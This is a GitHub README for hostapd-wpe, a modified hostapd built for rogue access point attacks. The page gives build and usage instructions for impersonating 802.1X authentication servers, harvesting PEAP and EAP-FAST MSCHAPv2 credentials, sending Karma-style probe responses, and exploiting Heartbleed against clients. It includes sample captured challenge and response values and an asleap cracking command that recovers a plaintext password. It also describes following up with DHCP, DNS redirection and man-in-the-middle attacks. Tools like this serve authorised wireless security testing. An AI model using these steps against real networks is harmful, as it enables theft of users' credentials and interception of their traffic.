Skip to content


Switch branches/tags


Failed to load latest commit information.
hostapd-wpe (Wireless Pwnage Edition)
twitter: @brad_anton

The current hostapd-wpe.patch is for: hostapd-2.6.tar.gz


hostapd-wpe is the replacement for FreeRADIUS-WPE 

It implements IEEE 802.1x Authenticator and Authentication
Server impersonation attacks to obtain client credentials,
establish connectivity to the client, and launch other attacks
where applicable. 

hostapd-wpe supports the following EAP types for impersonation:
    1. EAP-FAST/MSCHAPv2 (Phase 0)
    2. PEAP/MSCHAPv2

Once impersonation is underway, hostapd-wpe will return an
EAP-Success message so that the client believes they are connected
to their legitimate authenticator. 

For 802.11 clients, hostapd-wpe also implements Karma-style gratuitous 
probe responses. Inspiration for this was provided by JoMo-Kun's 
patch for older versions of hostapd. 

hostapd-wpe also implements CVE-2014-0160 (Heartbleed) attacks against
vulnerable clients. Inspiration for this was provided by the Cupid PoC:

hostapd-wpe logs all data to stdout and hostapd-wpe.log

Quick Usage
Once hostapd-wpe.patch is applied, hostapd-wpe.conf will be created
at /path/to/build/hostapd/hostapd-wpe.conf. See that file for more 
information. Note that /path/to/build/hostapd/hostapd-wpe.eap_users 
will also be created, and hostapd-wpe is dependent on it. 

Basic usage is:

    hostapd-wpe hostapd-wpe.conf 

Credentials will be displayed on the screen and stored in hostapd-wpe.log

Additional WPE command line options are:

    -s  Return EAP-Success messages after credentials are harvested
    -k  Gratuitous probe responses (Karma mode) 
    -c  Attempt to exploit CVE-2014-0160 (Cupid mode)


    $ git clone 

    Ubuntu/Debian/Kali Building - 
        $ apt-get update
        $ apt-get install libssl-dev libnl-dev
        if you're using Kali 2.0 install:
        $ apt-get install libssl-dev libnl-genl-3-dev

    General - 
    	Now apply the hostapd-wpe.patch:
        $ git clone

        $ wget
        $ tar -zxf hostapd-2.6.tar.gz
        $ cd hostapd-2.6
        $ patch -p1 < ../hostapd-wpe/hostapd-wpe.patch 
        $ cd hostapd
        If you're using Kali 2.0 edit .config file and uncomment:
        $ make

        I copied the certs directory and scripts from FreeRADIUS to ease that 
        portion of things. You should just be able to:

        $ cd ../../hostapd-wpe/certs
        $ ./bootstrap

        then finally just:
        $ cd ../../hostapd-2.6/hostapd
        $ sudo ./hostapd-wpe hostapd-wpe.conf


    With all of that complete, you can run hostapd. The patch will
    create a new hostapd-wpe.conf, which you'll likely need to modify
    in order to make it work for your attack. Once ready just run

    hostapd hostapd-wpe.conf

    Look in the output for the username/challenge/response. It'll be there
    and in a hostapd-wpe.log file in the directory you ran hostapd from

    for instance here are the EAP-FAST Phase 0 creds from stdout:

    username: jdslfkjs
    challenge: bc:87:6c:48:37:d3:92:6e
    response: 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0

    and as always, we feed them into asleap to crack:

    # asleap -C bc:87:6c:48:37:d3:92:6e -R 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 -W wordlist 
    asleap 2.2 - actively recover LEAP/PPTP passwords. <>
    hash bytes:        b1ca
    NT hash:           e614b958df9df49ec094b8730f0bb1ca
    password:          bradtest

    Alternatively MSCHAPv2 credentials are outputted in john the rippers NETNTLM format. 

    Certain EAP types do not require the server to authenticate itself, just to validate
    the client's submitted credentials. Since we're playing the authentication server, 
    that means we can easily just return an EAP-Success message to the client regardless
    of what they send us. The client is happy because they've connected, but unfortunately
    are unaware that they are connected to an unapproved authenticator. 

    At this point, the attacker can set up a dhcp server and give the client an IP and
    then do whatever they'd like (e.g. redirect dns, launch attacks, MiTM, etc..)

    MSCHAPv2 protects against this by having the server prove knowledge of the password
    most supplicants adhere to this policy, but we return EAP-Success just in case. 

Karma-Style Probes
    This functionality simply waits for an client to send a directed probe, when it does, it 
    assumes that SSID and responds to the client. Only applicable to 802.11 clients. 

A note on MSCHAPv2
    Microsoft offers something called "Computer Based Authentication". When a computer
    joins a domain it is assigned a password. This password is stored on the system
    and in active directory. We can harvest the MSCHAPv2 response from these systems but
    its going to take a lifetime to crack. Unless you're just trying to solve for the 
    hash, and not the actual password :)

    One other thing to note, if the client returns all zeros, it isnt joined to a domain. 

Testing Heartbleed
    If you're running Ubuntu and want to test Heartbleed you'll need to downgrade to a vulnerable
    version of OpenSSL. That can be done by:

sudo dpkg -i libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb 
sudo dpkg --install libssl1.0.0_1.0.1-4ubuntu5.11_i386.deb \
libssl-dev_1.0.1-4ubuntu5.11_i386.deb \
libssl-doc_1.0.1-4ubuntu5.11_all.deb \

    The use wpa_supplicant to connect to hostapd-wpe -c 


Modified hostapd to facilitate AP impersonation attacks






No releases published


No packages published